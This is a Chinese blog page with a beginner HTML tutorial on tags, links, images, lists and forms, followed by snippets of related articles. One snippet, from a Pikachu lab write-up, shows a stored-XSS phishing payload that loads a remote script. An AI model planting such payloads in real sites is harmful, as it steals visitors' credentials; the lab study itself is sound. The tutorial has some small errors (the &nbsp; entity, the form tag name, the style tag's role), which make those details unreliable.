当前位置： 首页 > news >正文

入门四认识HTML

news 2026/4/2 7:24:11

目录

一、HTML介绍

1、Web前端三大核心技术 

2、什么是HTML 

3、Html标签

4、标签属性 

二、HTML骨架标签

三、编写HTML工具

四、常用标签 

1、注释 

2、标题标签 

3、段落标签 

4、超链接标签

5、图片标签

6、换行与空格 

7、布局标签 

8、列表标签 

9、表单标签 

五、总结 

一、HTML介绍

1、Web前端三大核心技术 

HTML：负责网页的架构

CSS：负责网页的样式、美化

JS：负责网页的行动

2、什么是HTML 

HTML是用来描述网页的一种语言。

3、Html标签

单标签<html>

双标签<h>内容</h> 

4、标签属性 

属性格式：属性名=“属性值” <a href="http://www.jd.com">京东</a> 

二、HTML骨架标签

html：根标签 ，所有的内容都应该放到html标签中

head：头部标签

body：身体标签（代码编写区域）

 

三、编写HTML工具

四、常用标签 

1、注释 

作用：描述的内容不会被浏览器执行

说明：解释代码的含义给程序员看。

国际通用快捷键：Ctrl+/  <!-- 注释区域 -->

 测试点：前端页面发布上线之前，需要检查（描述不恰当的文字出现）所有注释或去除注释。

2、标题标签 

说明：HMTL标题是 通过<h1>—<h6>等标签进行定义

示例：

 

3、段落标签 

说明：HTML段落是通过<p>标签进行定义的

 示例：

4、超链接标签

说明：超链接是通过<a>标签进行定义的，点击文本跳转指定页面

示例：​​​​​​​

属性：href：跳转地址                target：新窗口打开 

5、图片标签

说明：网页中插入图片就要使用图片标签，HTML图片是通过<img>标签进行定义的

测试点：必须有title属性（悬停和未加载显示）

示例：

属性：

        src：图片路径         title：光标悬停显示文字          alt：图片未加载时显示文字

        width：图片宽度        height：图片高度

6、换行与空格 

换行：<br/>        空格：%nbsp；

示例：

 

7、布局标签 

说明：设置页面布局，便于排版，常用（div+span）

示例：

8、列表标签 

说明：列表标签常用 li 元素（分为：有序和无序）

示例：

 style：js标签        script：js标签        link：外部加载css标签

9、表单标签 

说明：页面提交输入信息需要使用表单标签<from> 

按钮测试点：通用使用value进行赋值

属性：

        文本框：<input type="text" />

        密码框：<input type="password" />

        单选框：<input type="radio" name="1" />男    <input type="radio" name="1"/>女

        复选框：<input type="checkbox" />

        提交按钮：<input type="submit"/>

        清空按钮： <input type="reset"/>

        普通按钮：<input type="button"/>

示例：

五、总结 

相关文章：

入门四认识HTML

目录 一、HTML介绍 1、Web前端三大核心技术 2、什么是HTML 3、Html标签 4、标签属性 二、HTML骨架标签 三、编写HTML工具 四、常用标签 1、注释 2、标题标签 3、段落标签 4、超链接标签 5、图片标签 6、换行与空格 7、布局标签 8、列表标签 9、表单…...

编程日记 2024/5/28 17:51:57

js怎么生成验证码？js生成指定长度的随机字符串

在项目中经常有生成随机字符串的需求&#xff0c;比如验证接口签名、验证码(Node.js发送短信或邮箱验证码、生成图片验证码)&#xff0c;我们可以使用Javascript生成随机字符。 使用随机数从给出的可能字符中抽取合并字符串 优点是可以自定义结果中字符的取值&#xff0c;比如…...

编程日记 2024/5/28 17:50:54

Python魔法之旅-魔法方法(01)

目录 一、概述 1、定义 2、作用 二、主要应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类…...

编程日记 2024/5/28 17:49:52

介绍下 npm 模块安装机制，为什么输入 npm install 就可以自动安装对应的模块

npm&#xff08;Node Package Manager&#xff09;模块安装机制是Node.js生态系统中非常重要的一部分&#xff0c;它允许开发者轻松管理和安装Node.js项目的依赖项。下面我将详细介绍npm模块的安装机制&#xff0c;以及为什么输入npm install就可以自动安装对应的模块。 npm模…...

编程日记 2024/5/28 17:48:51

vue2如何父组件 对象 双向绑定子组件

对于Vue 2&#xff0c;你不能直接用v-model绑定对象&#xff0c;但可以通过在子组件内部处理value prop的变化并触发input事件来模拟这一行为。 父组件A 1<template> 2 <ComponentB v-model"item" prop-names"addressId,date,startTime,endTime&quo…...

编程日记 2024/5/28 17:47:50

[Android]在后台线程执行耗时操作，然后在主线程更新UI

1.Coroutines&#xff08;官方推荐&#xff09; Coroutines 提供了一种轻量级的线程管理方式&#xff0c;使得在后台线程执行任务和在主线程更新 UI 变得简单。以下是如何在 Kotlin 中使用 Coroutines 来处理耗时逻辑并更新 UI 的步骤&#xff1a; 添加 Coroutines 依赖: 首…...

编程日记 2024/5/28 17:46:49

平方回文数-第13届蓝桥杯选拔赛Python真题精选

[导读]&#xff1a;超平老师的Scratch蓝桥杯真题解读系列在推出之后&#xff0c;受到了广大老师和家长的好评&#xff0c;非常感谢各位的认可和厚爱。作为回馈&#xff0c;超平老师计划推出《Python蓝桥杯真题解析100讲》&#xff0c;这是解读系列的第73讲。 平方回文数&#…...

编程日记 2024/5/28 17:45:47

位置编码(三) 2D旋转位置编码

Rotary Position Embedding for Vision Transformer https://arxiv.org/abs/2403.13298 Transformer升级之路&#xff1a;4、二维位置的旋转式位置编码 https://kexue.fm/archives/8397 Transformer升级之路&#xff1a;17、多模态位置编码的简单思考 https://kexue.fm/archive…...

编程日记 2024/5/28 17:43:45

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…...

编程日记 2024/5/28 17:42:44

弘君资本炒股技巧：股票定向增发是什么意思？是好是坏？

股票定向增发是指已上市的公司向指定的组织或者个人投资者额外发行股份募集资金的融资方法&#xff0c;发行价格为发行前某一阶段的平均价的必定比例&#xff0c;增发的价格不得低于前二十个买卖日股票均价的80&#xff05;。 例如&#xff0c;个股定增前二十个买卖股票平均价为…...

编程日记 2024/5/28 17:41:42

vue3项目使用pinia状态管理器----通俗易懂

1、首先安装pinia yarn add pinia # 或使用npm npm install pinia 2、在项目的src目录下新建store文件夹&#xff0c;然后store目录下新建index.js / index.ts &#xff1a; 我这里是index,js import { createPinia } from "pinia"// 创建 Pinia 实例 const pinia …...

编程日记 2024/5/28 17:40:41

零基础学Java第二十五天之Lambda表达式

Lambda表达式 简介 Lambda是一个匿名函数(方法)&#xff0c; 允许把函数作为一个方法的参数 。利用Lambda表达式可以写出更简洁、更灵活的代码。作为一种更紧凑的代码风格&#xff0c;使Java的语言表达能力得到了提升。一般都是优化匿名内部类 基础语法 无参数、无返回值的抽…...

编程日记 2024/5/28 17:39:40

VSCode配置Lua5.4安装

参考&#xff1a;VSCode 配置 Lua 开发环境(清晰明了)_lua vscode-CSDN博客 1.下载 Lua Binaries Download (sourceforge.net) 2.配置环境变量 解压放到某文件夹&#xff1a; 环境变量&#xff1a; 3.VSCode安装插件 4.配置 5.测试...

编程日记 2024/5/28 17:35:36

CI/CD:持续集成/持续部署

1. 安装docker、docker-compose # 安装Docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i sdownload.docker.commirrors.aliyun.com/docker-ce /…...

编程日记 2024/5/28 17:34:35

ComfyUI工作流网站

https://openart.ai/home https://comfyworkflows.com/ https://civitai.com/...

编程日记 2024/5/28 17:33:34

【机器学习】机器学习基础概念与初步探索

❀机器学习 &#x1f4d2;1. 引言&#x1f4d2;2. 机器学习概述&#x1f4d2;3. 机器学习基础概念&#x1f389;2.1 机器学习的分类&#x1f389;2.2 数据预处理&#x1f308;数据清洗与整合&#x1f308; 特征选择和特征工程&#x1f308;数据标准化与归一化 &#x1f4d2;4. …...

编程日记 2024/5/28 17:32:33

学英语材料：单口喜剧、讲故事、短剧喜剧以及广播剧和播客节目

学习英语节目 有名的单口喜剧、讲故事、短剧喜剧以及广播剧和播客节目&#xff1a; 单口喜剧&#xff08;Stand-up Comedy&#xff09; 描述&#xff1a;这是最接近相声的形式&#xff0c;表演者独自一人站在舞台上&#xff0c;用幽默的方式讲述个人经历、观察到的社会现象或…...

编程日记 2024/5/28 17:31:32

Docker Compose使用

Docker-Compose是什么 docker建议我们每一个容器中只运行一个服务,因为doker容器本身占用资源极少&#xff0c;所以最好是将每个服务单独分割开来&#xff0c;但是这样我们又面临了一个问题&#xff1a; 如果我需要同时部署好多个服务&#xff0c;难道要每个服务单独写Docker…...

编程日记 2024/5/28 17:28:28

如何优雅的卸载linux上的todesk

要优雅地卸载Linux上的ToDesk&#xff0c;您可以按照以下步骤操作&#xff1a; 打开终端。 输入以下命令来停止ToDesk服务&#xff08;如果它正在运行的话&#xff09;&#xff1a; sudo systemctl stop todesk 然后&#xff0c;使用包管理器卸载ToDesk。如果您使用的是apt&…...

编程日记 2024/5/28 17:26:27

【Vue】el-checkbox多选框实现单选效果，选中一个选项则自动取消其他勾选

&#x1f935; 作者&#xff1a;coderYYY &#x1f9d1; 个人简介&#xff1a;前端程序媛&#xff0c;目前主攻web前端&#xff0c;后端辅助&#xff0c;其他技术知识也会偶尔分享&#x1f340;欢迎和我一起交流&#xff01;&#x1f680;&#xff08;评论和私信一般会回&#…...

编程日记 2024/5/28 17:25:26

别再傻傻分不清了！手把手教你选对安规电容（X1/X2/Y1/Y2等级详解）

电子工程师必读&#xff1a;安规电容X/Y等级实战选型指南 当你在设计一款家用空气净化器的开关电源时&#xff0c;突然发现EMC测试总是不达标&#xff1b;当你维修一台工业变频器时&#xff0c;发现安规电容爆裂导致设备瘫痪——这些场景背后&#xff0c;往往隐藏着对X1/X2/Y1/…...

编程新知 2026/4/2 7:04:57

VBA UserForm控件交互实战：跨窗体数据传递与动态更新

1. UserForm基础与跨窗体数据传递原理 刚接触VBA UserForm时&#xff0c;我经常被各种控件的交互问题困扰。特别是当需要多个窗体协同工作时&#xff0c;数据传递就成了大难题。记得有次做订单管理系统&#xff0c;主窗体收集客户信息&#xff0c;子窗体处理产品明细&#xff0…...

编程新知 2026/4/2 6:20:27

Qwen3.5-9B实战落地：政务公文校对+政策条款关联性分析案例

Qwen3.5-9B实战落地&#xff1a;政务公文校对政策条款关联性分析案例 1. 项目背景与模型介绍 Qwen3.5-9B是一款拥有90亿参数的开源大语言模型&#xff0c;在政务场景中展现出强大的应用潜力。这个模型特别适合处理结构化文本分析任务&#xff0c;能够理解复杂的政策语言和公文…...

编程新知 2026/4/2 5:43:51

DeepSeekGEO生成式引擎优化技术方案

DeepSeekGEO生成式引擎优化技术方案技术支持&#xff1a;拓世网络技术开发工作室1 方案背景与技术范式转移随着生成式AI成为信息分发的主入口&#xff0c;用户获取信息的方式已从“搜索-点击”转变为“提问-答案”。据统计&#xff0c;超过60%的Z世代用户更倾向于通过AI助手获取…...

编程新知 2026/4/2 4:29:19

OpenClaw初学者套装：Qwen3.5-9B镜像+5个基础技能

OpenClaw初学者套装&#xff1a;Qwen3.5-9B镜像5个基础技能 1. 为什么选择这个组合&#xff1f; 上周六下午&#xff0c;我盯着电脑里散落各处的会议纪要、参考文章和代码片段&#xff0c;突然意识到自己每天要重复几十次"CtrlF→切换窗口→复制粘贴"的操作。作为一…...

编程新知 2026/4/2 2:39:04

从“工具辅助”到“智慧赋能”：青软青之深度集成LIMS、ELN、AUTO等核心系统，打造全场景智慧实验室新范式

在科研创新迭代加速、检验检测产业升级纵深推进的今天&#xff0c;实验室作为创新源头&#xff0c;其运行效率与管理水平直接决定研发效能与质量。传统依赖人工记录、纸质流转和信息孤岛的模式&#xff0c;已难以适应复杂实验需求与严苛合规监管。智慧实验室&#xff0c;正成为…...

编程新知 2026/4/2 1:26:11

class文件加载到内存

‌JVM将class文件加载到内存的过程主要分为三个阶段&#xff1a;加载&#xff08;Loading&#xff09;、链接&#xff08;Linking&#xff09;和初始化&#xff08;Initialization&#xff09;‌&#xff0c;其中链接又细分为验证、准备、解析三个步骤 。 一、加载&#xff08;…...

编程新知 2026/4/2 1:26:11

STM32F746G-DISCO音频BSP详解：I2S+DMA+CS43L22驱动开发

1. 项目概述AUDIO_DISCO_F746NG是 STMicroelectronics 官方 STM32CubeF7 软件包中为STM32F746G-DISCO 探索套件提供的音频底层支持包&#xff08;Board Support Package, BSP&#xff09;核心类。该类并非独立音频处理库&#xff0c;而是面向硬件抽象层&#xff08;HAL&#xf…...

编程新知 2026/4/2 0:49:45

STM32环境检测系统设计与物联网应用

1. 项目概述这个基于STM32的环境检测系统是我去年为一个工业客户开发的解决方案&#xff0c;经过3个月的迭代优化已经稳定运行了半年多。系统通过多种传感器实时监测环境参数&#xff0c;并将数据上传至OneNet云平台&#xff0c;实现了本地和远程的双重监控。提示&#xff1a;项…...

编程新知 2026/4/2 0:26:58

Seeed rpcBLE库：RTL8720DN平台的Arduino兼容BLE开发方案

1. 项目概述 Seeed Arduino rpcBLE 是一款面向嵌入式开发者的轻量级蓝牙低功耗&#xff08;BLE&#xff09;软件库&#xff0c;专为基于 Realtek RTL8720DN SoC 的 Seeed Studio 开发板&#xff08;如 Wio Terminal、Wio-E5、W600 系列&#xff09;设计。该库并非从零实现 BLE…...

编程新知 2026/4/2 0:24:55